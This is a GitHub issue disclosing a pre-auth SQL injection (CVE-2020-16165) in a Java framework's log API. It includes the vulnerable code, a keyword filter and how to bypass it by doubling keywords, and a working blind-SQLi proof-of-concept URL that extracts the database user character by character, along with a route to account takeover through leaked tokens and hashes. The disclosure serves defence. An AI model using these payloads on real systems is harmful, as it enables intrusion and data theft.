Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pre-auth SQL injection #9

Closed
tz2u opened this issue Jul 25, 2020 · 3 comments
Closed

Pre-auth SQL injection #9

tz2u opened this issue Jul 25, 2020 · 3 comments

Comments

@tz2u
Copy link

tz2u commented Jul 25, 2020

tl;dr
Flaws in DAO/DTO implementation allows SQLi in order by clause.
User token and/or password hash disclosed in pre-auth APIs of which are vulnerable to SQLi above as well.

detail

/api/blade-log/api/list

is exposed by default install. For instance, the demo site.
upload_aaa29b3ad97ede8813529433d5c2c13c

'Refresh token' can be used to exchange for a valid jwt ticket, or in a different way to compromise user account, log in with credential cracked from leaking md5 hash.

Before actually stepping into the system, let's see what's else we could find on this API.

Request handling looks a lot like this

	/**
	 * 查询多条(分页)
	 */
	@GetMapping("/list")
	public R<IPage<LogUsualVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
		IPage<LogUsual> pages = logService.page(Condition.getPage(query), Condition.getQueryWrapper(log, LogUsual.class));
		List<LogUsualVo> records = pages.getRecords().stream().map(logApi -> {
			LogUsualVo vo = BeanUtil.copy(logApi, LogUsualVo.class);
			vo.setStrId(Func.toStr(logApi.getId()));
			return vo;
		}).collect(Collectors.toList());
		IPage<LogUsualVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
		pageVo.setRecords(records);
		return R.data(pageVo);
	}

Condition.getPage() casts a few params to Int and replace 'bad words' with blank string in 'ascs' and 'desc' (which are then pasted into order by clause)

    public static <T> IPage<T> getPage(Query query) {
        Page<T> page = new Page((long)Func.toInt(query.getCurrent(), 1), (long)Func.toInt(query.getSize(), 10));
        page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
        page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
        return page;
    }

the Condition.getQueryWrapper() thing is a sort of indicator for batis data model, apart from being a type indicator it is in charge of building statement. after a few delegates and overrides it gets invoked in the way below

    public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
        exclude.forEach((k, v) -> {
            query.remove(k);
        });
        QueryWrapper<T> qw = new QueryWrapper();
        qw.setEntity(BeanUtil.newInstance(clazz));
        SqlKeyword.buildCondition(query, qw);
        return qw;
    }

Only seen tokenization stuffs in SqlKeyword.buildCondition(). At this stage, pre-auth visitors can perform SQLi by providing malicious query.get[AD]scs() values, which were directly taken from reuqest as strings, if SqlKeyword.filter() isn't too strong, right?

    public static String filter(String param) {
        return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
    }

Simply 'double-write' (eg, select -> selselectect) to bypass while doing real world exploitation. filter won't interfere with POCs below. Notice comma char (%2c) gets picked up and replaced in deeper delegate.

Iterate placeholder 1 and 97 in URL below (params decoded) from 1 to 20ish and 97 to 123 respectively.

/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97

by comparing response length, pick out uncommon returns, record relating iterator nums, gets you a ascii sequence of [98,108,97,100,101,120,?,108,111,99,97,108,104,111,115,116,?......] non-lowercase-alphabet chars are marked as '?'.
upload_9998898e103ce51afaf152eaa9af391e

this gets you current db user.

>>> ''.join(map(chr,[98,108,97,100,101,120,63,108,111,99,97,108,104,111,115,116]))
'bladex?localhost'

post script
the actul /api/blade-log/api/list sets a fixed "desc", is vulne to malicious "ascs" only.

IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));
@tz2u
Copy link
Author

tz2u commented Aug 27, 2020

Left unpatched in 2.7.2
Affected components are
blade-core-log-2.7.2.jar
blade-core-mybatis-2.7.2.jar
Relating CVE-2020-16165 and CNVD-2020-43762, credit to Chaitin Tech.

@chillzhuang
Copy link
Owner

thank you for your feedback

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants